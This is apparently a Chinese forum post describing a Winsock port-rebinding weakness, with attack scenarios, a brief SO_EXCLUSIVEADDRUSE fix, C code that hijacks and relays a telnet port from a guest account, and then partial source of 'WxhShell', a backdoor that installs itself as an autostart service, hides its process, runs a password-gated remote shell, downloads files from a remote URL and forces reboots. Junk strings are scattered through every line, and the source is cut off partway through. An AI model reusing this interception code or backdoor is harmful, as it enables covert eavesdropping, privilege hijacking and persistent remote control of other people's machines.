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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Wo5%@C#M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p?4,YV|#  
*y|zF6  
  saddr.sin_family = AF_INET; A,?6|g`q'  
{r#uD5NJ/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q&w"!N  
l.BiE<&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ieh<|O,-C  
UsdMCJ&G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5eM{>qr}  
`yC[Fn"E^  
  这意味着什么?意味着可以进行如下的攻击: 64Tb,AL_  
&<- S-e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Us%g&MWdpb  
uF[~YJ>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  +&<k}Mz  
I |"'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 60WlC0Y~u  
fk\]wFj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n8i: /ypB  
mRxeob  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^,`]Q)P^  
`w)yR>lqh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <s$Jj><  
j_z@VT}y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?[)V  
S.pXo'}  
  #include J.]`l\  
  #include  %Nx,ZD@  
  #include 7t/Y5Qf  
  #include    h\+8eeIl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @S6@pMo,  
  int main() Z1] 4:  
  { #];ulDq  
  WORD wVersionRequested; #oN}DP  
  DWORD ret; A.~wgJDO  
  WSADATA wsaData; `$3ktQ$  
  BOOL val; ST,+]p3L(  
  SOCKADDR_IN saddr; O,#,`2Qc  
  SOCKADDR_IN scaddr; 8EBd`kiq  
  int err; J'yCVb)V  
  SOCKET s; 0:c3aq&u  
  SOCKET sc; VLoRS)   
  int caddsize; 9~y:K$NO  
  HANDLE mt; aq#F  
  DWORD tid;   0IBQE  
  wVersionRequested = MAKEWORD( 2, 2 ); ;s8\F]K  
  err = WSAStartup( wVersionRequested, &wsaData ); v@{VQVx  
  if ( err != 0 ) { e7plL^^`  
  printf("error!WSAStartup failed!\n"); B;2#Sa.  
  return -1; =,X*40=  
  } KDj/S-S  
  saddr.sin_family = AF_INET; 86a,J3C[  
   BnaI30-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;J:*r0  
\ rKUPI\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p[)yn%uh  
  saddr.sin_port = htons(23); :SY,;..3e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zjzEmX  
  { -z%->OUu  
  printf("error!socket failed!\n"); b1%w+*d<z  
  return -1; [ u ^/3N  
  } ja(ZJ[<`  
  val = TRUE; AtxC(g m 1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,bP8"|e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {XwDvLZ  
  { ({D>(xN   
  printf("error!setsockopt failed!\n"); tvJl&{-OX  
  return -1; ,k(B>O~o  
  } fUZCP*7>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _rz\[{)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b`f6(6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lI@Z)~  
'$5d6?BC`3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :)FNhx3  
  { XXeDOrb  
  ret=GetLastError(); +]0hSpZ"p  
  printf("error!bind failed!\n"); }9FWtXAU^1  
  return -1; L@f&71  
  } (!Xb8rV0_  
  listen(s,2); VFm)!'=I  
  while(1) H}(WL+7  
  { qac:"z'9  
  caddsize = sizeof(scaddr); XinKG< 3!  
  //接受连接请求 $4og{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'pF$6n;  
  if(sc!=INVALID_SOCKET) S"`{ JCW$  
  { L=P8;Gj)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dCLNZq h6  
  if(mt==NULL) %/ :&L+q  
  { Ds{bYK_y  
  printf("Thread Creat Failed!\n"); ?v'CuWS  
  break; 735l&(3A\  
  } LvU/,.$  
  } 3Q2NiYg3  
  CloseHandle(mt); 5glEV`.je  
  } ch0cFF^]  
  closesocket(s); f lt'~fe  
  WSACleanup(); +?{LLD*2e  
  return 0; &3)6WD?:U  
  }   *z_`$Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) =5:kV/p  
  { `>RM:!m6=$  
  SOCKET ss = (SOCKET)lpParam; h]IoH0/  
  SOCKET sc; tCGA3t  
  unsigned char buf[4096]; ?9?o8!  
  SOCKADDR_IN saddr; ?}EWfsA  
  long num; S&;)F|-q  
  DWORD val; > kwhZ/x  
  DWORD ret; "chf \ -!$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^x_.3E3Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a FWTm,)  
  saddr.sin_family = AF_INET; g;:3I\ L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^;?w<9Y  
  saddr.sin_port = htons(23); SCfk!GBVD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ETR7% 0$r  
  { S(rnVsW%Ki  
  printf("error!socket failed!\n"); B}aW y&D  
  return -1; T8x/&g''  
  } 0rif,{"  
  val = 100; [FBc&HN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9_Z_5w;h  
  { #W8c)gkG9  
  ret = GetLastError(); %{me<\(  
  return -1; f/Z-dM\e  
  } rxZk!- t)L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %:dd#';g  
  { vY[ u;VU  
  ret = GetLastError(); %f(4jQ0I  
  return -1; _ -,[U{  
  } e$mVA}>Ybp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M R,A{X  
  { W!TT fj   
  printf("error!socket connect failed!\n"); `}8)P#  
  closesocket(sc); '%YTM N@  
  closesocket(ss); 0t*PQ%  
  return -1; '8I=Tn  
  } !L_xcov!Y  
  while(1) s"8z q ;)  
  { )a+bH</'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Qb;]4[3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "kucFf f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kpk ^Uw%f  
  num = recv(ss,buf,4096,0); FE#| 5;q.  
  if(num>0) ONc#d'-L  
  send(sc,buf,num,0); 8zwH^q[`r  
  else if(num==0) f,BJb+0  
  break; .li)k[] ts  
  num = recv(sc,buf,4096,0); #X6=`Xe#  
  if(num>0) m5hu;>gt  
  send(ss,buf,num,0); EAF\ 7J*  
  else if(num==0) z,VXH ?.Zo  
  break; [u-=<hnoa  
  } Q1H.2JXr  
  closesocket(ss); % 5BSXAc  
  closesocket(sc); C3 m_sv#e  
  return 0 ; Gr3 q  
  } DG3Mcf@5  
ADMeOdgca  
Q0Gfwl  
========================================================== c{T)31ldW  
F-$NoEL  
下边附上一个代码,,WXhSHELL 48!F!v,j)x  
]!@!qp@  
========================================================== J.0&gP V  
`"$9L[>  
#include "stdafx.h" A~L Ti  
6\)u\m`7-l  
#include <stdio.h> LD,T$"  
#include <string.h> V7+/|P_  
#include <windows.h> ^q<EnsY  
#include <winsock2.h> }5X.*wz  
#include <winsvc.h> >PGsY[N  
#include <urlmon.h> YT@H^=  
mrVN&.  
#pragma comment (lib, "Ws2_32.lib") fo I:`]2"*  
#pragma comment (lib, "urlmon.lib") V0gu0+u~R  
W5&KmA  
#define MAX_USER   100 // 最大客户端连接数 (c[DQSj  
#define BUF_SOCK   200 // sock buffer rhN"#?  
#define KEY_BUFF   255 // 输入 buffer / ]nrxT  
?X7nM)  
#define REBOOT     0   // 重启 >.REg[P  
#define SHUTDOWN   1   // 关机 zEeix,IU  
gOaK7A  
#define DEF_PORT   5000 // 监听端口  7re4mrC  
8#Y_]Z?)  
#define REG_LEN     16   // 注册表键长度 d~b @F&mf  
#define SVC_LEN     80   // NT服务名长度 GVdJ&d\x  
e"2x!(&n(  
// 从dll定义API >rFM8P(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b_@bS<wsF}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F<,"{L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #|Je%t}~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `oE.$~'  
Xd&oERJj  
// wxhshell配置信息 R7x*/?  
struct WSCFG { fqol-{F.V  
  int ws_port;         // 监听端口 D6EqJ,~  
  char ws_passstr[REG_LEN]; // 口令 AgdU@&^  
  int ws_autoins;       // 安装标记, 1=yes 0=no /NVyzM51V  
  char ws_regname[REG_LEN]; // 注册表键名 zG&yu0;D6  
  char ws_svcname[REG_LEN]; // 服务名 u 0 K1n_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;ZZmX]kz,M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  <XnxAA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &hzr(v~;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1_LGlu~&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C,{ Ekbg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r;fcBepO  
8sL+ik"  
}; j*_#{niy:  
a#3,qp!  
// default Wxhshell configuration p vu% p8  
struct WSCFG wscfg={DEF_PORT, CO SQ  
    "xuhuanlingzhe", Z0Qh7xWve  
    1, q4u-mM7#7  
    "Wxhshell", _6 yrd.H  
    "Wxhshell", &Fch{%S>  
            "WxhShell Service", YMn=9EUp  
    "Wrsky Windows CmdShell Service", #YLI"/Kn  
    "Please Input Your Password: ", x}N1Wl=8g  
  1, d,t'e?  
  "http://www.wrsky.com/wxhshell.exe", S,C/l1s  
  "Wxhshell.exe" OEHw%  
    }; V}4u1oG  
cHwN=mg]S  
// 消息定义模块 Zor Q2>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !(N,tZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LeMo")dk\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jL~. =QD  
char *msg_ws_ext="\n\rExit."; 0O?!fd n  
char *msg_ws_end="\n\rQuit."; bj 0-72V  
char *msg_ws_boot="\n\rReboot..."; f<@`{oP@  
char *msg_ws_poff="\n\rShutdown..."; $`/F5R!  
char *msg_ws_down="\n\rSave to "; mmEe@-lE  
~G~:R  
char *msg_ws_err="\n\rErr!"; 0ac'<;9]zP  
char *msg_ws_ok="\n\rOK!"; "=9)|{=m  
ybgw#jv=  
char ExeFile[MAX_PATH]; m pM,&7}  
int nUser = 0; jiLt *>I  
HANDLE handles[MAX_USER]; Oxh . &  
int OsIsNt; !p4FK]B/u  
P/dT;YhL  
SERVICE_STATUS       serviceStatus; "J3n_3+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <t.  w(?  
RSf*[2  
// 函数声明 luO4ap]*  
int Install(void); /I q6'oo  
int Uninstall(void); qBWt(jY  
int DownloadFile(char *sURL, SOCKET wsh); b#_u.vP  
int Boot(int flag); +*$@ K'VL  
void HideProc(void); Y; q['h  
int GetOsVer(void); lQer|?#  
int Wxhshell(SOCKET wsl); ,wk %)^  
void TalkWithClient(void *cs); s|C4Jy_  
int CmdShell(SOCKET sock); EA!I& mBq  
int StartFromService(void); ,SoqVboRl  
int StartWxhshell(LPSTR lpCmdLine); &n& ndq  
p87VJ}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <(2,@_~@r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M'ZA(LVp  
-r6LndQs  
// 数据结构和表定义 %|By ?i  
SERVICE_TABLE_ENTRY DispatchTable[] = gz"I=9  
{ JA^Y:@<{/  
{wscfg.ws_svcname, NTServiceMain}, d##'0yg   
{NULL, NULL} UmA'aq  
}; BO-=X 78f@  
/;r k-I  
// 自我安装 l":Z. J  
int Install(void) ;S^7Q5-  
{ [+4--#&{  
  char svExeFile[MAX_PATH]; &V7{J9  
  HKEY key; -8,lXrH  
  strcpy(svExeFile,ExeFile); 8E\6RjM  
2sXX0kq~V  
// 如果是win9x系统,修改注册表设为自启动 ] _P!+5]<  
if(!OsIsNt) { E.OL_\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n/-d56  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ai(J%"D"  
  RegCloseKey(key); _#6ekl|%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x-ShY&k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s4Z5t$0|  
  RegCloseKey(key); -<WQ>mrB&  
  return 0; %wS5m#n  
    } EX^j^#N  
  } @K.[;-;g  
} 0p' =Vel{}  
else { c{s%kVOzg  
H-1y2AQ  
// 如果是NT以上系统,安装为系统服务 BF>3CW7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z3 $3zyi  
if (schSCManager!=0) - +=+W  
{ 9DP6g<>B  
  SC_HANDLE schService = CreateService ,Q8)r0c  
  ( O U3KB  
  schSCManager, m\xE8D(,  
  wscfg.ws_svcname, J^ BC  
  wscfg.ws_svcdisp, Jri"Toz0  
  SERVICE_ALL_ACCESS, 6tg0=_c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3xGk@ 333  
  SERVICE_AUTO_START, q!+m, !M  
  SERVICE_ERROR_NORMAL, t9B]V  
  svExeFile, cA{zyq26  
  NULL, L|[ 0&u!  
  NULL, geRD2`3;  
  NULL, []rg'9B2b  
  NULL, <UcbBcW,  
  NULL _e3kO6X  
  ); nWAx!0G  
  if (schService!=0) DU/WB  
  { MH,vn</Uw  
  CloseServiceHandle(schService); -hIDL'5u-I  
  CloseServiceHandle(schSCManager); i''[ u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); amK.H"  
  strcat(svExeFile,wscfg.ws_svcname); e8"?Qm7 J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gLef6q{}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); { f@k2^  
  RegCloseKey(key); s'/ g:aJ  
  return 0; 'rw nAr  
    } sOBy)vq?\  
  } (PmaVwF  
  CloseServiceHandle(schSCManager); "e\:Cq>\  
} ,#P eK(  
} f._FwD  
n-7|{1U  
return 1; } 1 >i  
} YI*Av+Z)  
h)qapC5z,  
// 自我卸载 sKT GZA  
int Uninstall(void) )0I;+9:D=  
{ mw1|>*X&R  
  HKEY key; kU5chltGF  
<ZV !fn  
if(!OsIsNt) { :3# t;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;-1yG@KG  
  RegDeleteValue(key,wscfg.ws_regname); ,nELWzz%{  
  RegCloseKey(key); nRmZu\(Ow|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A9[ELD>p  
  RegDeleteValue(key,wscfg.ws_regname); x;cjl6Acm  
  RegCloseKey(key); x\m !3  
  return 0; SBY  
  } 9_mys}+  
} "=uphBZog  
} eh-/,vmRa  
else { HV ^*_  
)(|+z'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k%?fy  
if (schSCManager!=0) b{KpfbxcI  
{ 9oL/oL-J/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H"H&uA9"  
  if (schService!=0) )h0F'MzW  
  { pbe" w=<  
  if(DeleteService(schService)!=0) { B|-E3v:f 4  
  CloseServiceHandle(schService); h<50jnH!  
  CloseServiceHandle(schSCManager); A7!=`yA$  
  return 0; {VPF2JFB[  
  } Gmi w(T  
  CloseServiceHandle(schService); -$#'  
  } 9:!<=rk  
  CloseServiceHandle(schSCManager); P7;=rSW  
} (dxkDS-G  
} _[8BAm  
4  |E`  
return 1; FbVdqO  
} &xlz80%  
1YmB2h[Z  
// 从指定url下载文件 ]:m}nJ_  
int DownloadFile(char *sURL, SOCKET wsh) 6^pddGIG  
{ I |?zSFa  
  HRESULT hr; D_%y&p?<Ls  
char seps[]= "/"; C%8jWc  
char *token; 6_a42#  
char *file; ON{&-  
char myURL[MAX_PATH]; Q]7Rqslz  
char myFILE[MAX_PATH]; Br2ZloJ@+  
G!J{$0.  
strcpy(myURL,sURL); 2-9'zN0u  
  token=strtok(myURL,seps); ]urrAIK  
  while(token!=NULL) ^d!(8vh  
  { $\xS~ w  
    file=token; ewYZ} "o  
  token=strtok(NULL,seps); G'/36M@  
  } !A(*?0`  
oe$Y=`  
GetCurrentDirectory(MAX_PATH,myFILE); $2=-Q/lM  
strcat(myFILE, "\\"); )E<<  
strcat(myFILE, file); <!#6c :(Q  
  send(wsh,myFILE,strlen(myFILE),0); =IH z@CU  
send(wsh,"...",3,0); ho#]i$b}f2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MXWCYi  
  if(hr==S_OK) ;Jex#+H(:D  
return 0; o7N3:)  
else J;pn5k~3  
return 1; K4Mv\!Q<8  
d7+YCi?  
} ] Ma2*E !p  
gw0b>E8gZ&  
// 系统电源模块 w{J0K; L  
int Boot(int flag) ] 8sVXZ  
{ Ij_Y+Mnl4:  
  HANDLE hToken; F2yc&mXyk  
  TOKEN_PRIVILEGES tkp; |kL^k{=zV  
^Jb=&u$  
  if(OsIsNt) { wXv\[z L`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hn%n>Bnl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iX8& mUR  
    tkp.PrivilegeCount = 1; ,}i`1E1=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^zPa^lo-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 85U')LY  
if(flag==REBOOT) { `wt*7~'=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lLy^@s  
  return 0; ^NB @wuf7  
} "wi=aV9j  
else { Iy\{)+}aS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pCOr{I\  
  return 0; q(0V#kKC  
} hX\z93an  
  } eqK6`gHa6  
  else { Fv \yhR  
if(flag==REBOOT) { w) o^?9T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d(RSn|[0  
  return 0; u|l]8T9L  
} 6@`Y6>}$_  
else { UxZT&x3=)}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HE911 lc:  
  return 0; ;0Yeo"-  
} 5I ,5da  
} Np>[mNmga  
.l$'%AG:~  
return 1; dALJlRo"  
} $gm`}3C<  
<^?64  
// win9x进程隐藏模块 rWKc,A[  
void HideProc(void) Zi47)8  
{ |7Z7_YWs  
(J(JB}[X,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f(Q-W6  
  if ( hKernel != NULL ) Sr1xG%;|/  
  { ~C6Qp`VF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]K'iCYY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "f|\":\  
    FreeLibrary(hKernel); ~GJJ{Bm_  
  } \M>}-j`v  
3-4' x2   
return; o:u *E  
} ^v. ~FFK  
X(F 2 5  
// 获取操作系统版本 /P bN!r<1  
int GetOsVer(void) {7!WtH;-  
{ )En*5-1  
  OSVERSIONINFO winfo; h~rSM#7m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _w8iPL5:  
  GetVersionEx(&winfo); s^Lg*t 3I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Aox$[|@  
  return 1; 6T>e~<^  
  else z mvF#o  
  return 0; .Ua|KKK C  
} xh[De}@  
5 3=zHYQ  
// 客户端句柄模块 b]s.h8+v;  
int Wxhshell(SOCKET wsl) 4:Adn?"  
{ `!<RP'  
  SOCKET wsh; %dMq'j  
  struct sockaddr_in client; 0q`n]NM  
  DWORD myID; D~W1["[  
~ow_&ftlo  
  while(nUser<MAX_USER) D6 B(6 5Y  
{ I%]L  
  int nSize=sizeof(client); $Il?[4FF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~Aul 7[IH  
  if(wsh==INVALID_SOCKET) return 1; ^mbpt`@  
JAM4 R_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C FY3D|  
if(handles[nUser]==0) m'&^\7;D  
  closesocket(wsh); {?c `0C  
else  qOO2@c  
  nUser++; _]W {)=ap  
  } Ar4@7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z)B5g>  
-}nTwx:|5u  
  return 0; ^Wk.D-  
} 6j9P`#Lt  
|V#h "s  
// 关闭 socket Yhu 6QyRV  
void CloseIt(SOCKET wsh) 9l9h*P gt  
{ bd],fNgJ  
closesocket(wsh); dZ'hTzw~  
nUser--; _&s37A&\  
ExitThread(0); O 4xV "\  
} 3#7D g't  
w@U`@})r.  
// 客户端请求句柄 };%l <Ui;  
void TalkWithClient(void *cs) FFGG6r  
{ 5yO %|)  
u`Kjs}F'  
  SOCKET wsh=(SOCKET)cs; _:|/4.]`_  
  char pwd[SVC_LEN]; \Q[u?/TF  
  char cmd[KEY_BUFF]; n DLr17  
char chr[1]; zx  
int i,j; vr#_pu)f4  
p-QD(+@M  
  while (nUser < MAX_USER) { fyat-wbb  
K1c@]]y)  
if(wscfg.ws_passstr) { TqURYnNd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rdd%"u+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SenDJv00  
  //ZeroMemory(pwd,KEY_BUFF); 8':^tMd  
      i=0; M5DW!^  
  while(i<SVC_LEN) { yj!4L&A  
W ~sP7&sp  
  // 设置超时 ooa>~!91P  
  fd_set FdRead; 'LY.7cW  
  struct timeval TimeOut; ^b-o  
  FD_ZERO(&FdRead); j_2-  
  FD_SET(wsh,&FdRead); xf/ SUO F  
  TimeOut.tv_sec=8; f{=0-%dA  
  TimeOut.tv_usec=0; Z6G>j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "_Wv,CYmNr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  =lIG#{`Q  
r@;n \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C^vB&3ghi  
  pwd=chr[0]; fba QXM  
  if(chr[0]==0xd || chr[0]==0xa) { v{7Jzjd  
  pwd=0; 6BT o%  
  break; ;Js-27_0  
  } fg1_D  
  i++; rap`[O|l=  
    } 8t3,}}TJ  
"0al"?  
  // 如果是非法用户,关闭 socket G[7Z5)2B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ph(bgQg  
} OmO/x  
&HdzbKO=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3=( Gb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (gd+-o4  
hVPSW# .d  
while(1) { uH'n.d"WG  
Ra%" +=  
  ZeroMemory(cmd,KEY_BUFF); l*;Isz:  
V@6,\1#`|  
      // 自动支持客户端 telnet标准   MH;5gC@ `  
  j=0; FOz7W  
  while(j<KEY_BUFF) { wGfU@!m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q9v OY8  
  cmd[j]=chr[0]; "p<B|  
  if(chr[0]==0xa || chr[0]==0xd) { u*#j;Xc  
  cmd[j]=0; s>8;At-  
  break; =?Y%w%2  
  } CT1)tRN  
  j++; fhCMbq4T  
    } a`XXz  
^ ,`;x  
  // 下载文件 u_+64c_7  
  if(strstr(cmd,"http://")) { )%D2JC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @SH%l]  
  if(DownloadFile(cmd,wsh)) x^_(gve:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JVO,@~~  
  else tz0_S7h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *m_B#~4  
  } +r0ItqkM  
  else { 35 /)S@  
b65V*Vbj  
    switch(cmd[0]) { ")%)e;V3  
  &gdtI  
  // 帮助 U&W{;myt  
  case '?': { y_bb//IAG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o#wDA0T  
    break; 6ybpPls  
  } SF?Ublc!   
  // 安装 [UqJ3@>  
  case 'i': { L`v7|!X  
    if(Install()) *aKT&5Ch-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]B! 29M  
    else &p>VTD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~y@,d  
    break; yQ5F'.m9e  
    } `Mj>t(  
  // 卸载 Y](kMNUSg  
  case 'r': { B J,U,!  
    if(Uninstall()) 2%0J/]n\A"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PGTi-o}  
    else {pEay|L_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m0I/X$-Cl5  
    break; \4;}S&`k  
    } G$b*N4yR  
  // 显示 wxhshell 所在路径 TiiMX  
  case 'p': { +:@lde]/p  
    char svExeFile[MAX_PATH]; GabY xYK  
    strcpy(svExeFile,"\n\r"); 9d7`R'  
      strcat(svExeFile,ExeFile); RRGo$  
        send(wsh,svExeFile,strlen(svExeFile),0); ;0j 8Xj  
    break; v6r,2Va/  
    } _M.7%k/U8  
  // 重启 !L..I2'  
  case 'b': { )2 E7>SQc~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ruMS5OqM  
    if(Boot(REBOOT)) 3@'3U?Hin  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }u"iA^'Ot  
    else { <[7 bUB  
    closesocket(wsh); SJ/($3GkBd  
    ExitThread(0); v;=F $3  
    } 6y;R1z b  
    break; bUR; d78  
    } O3Jp:.ps  
  // 关机 yXg #<H6V  
  case 'd': { DI/yHs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5i 56J1EC  
    if(Boot(SHUTDOWN)) QFn .<@  
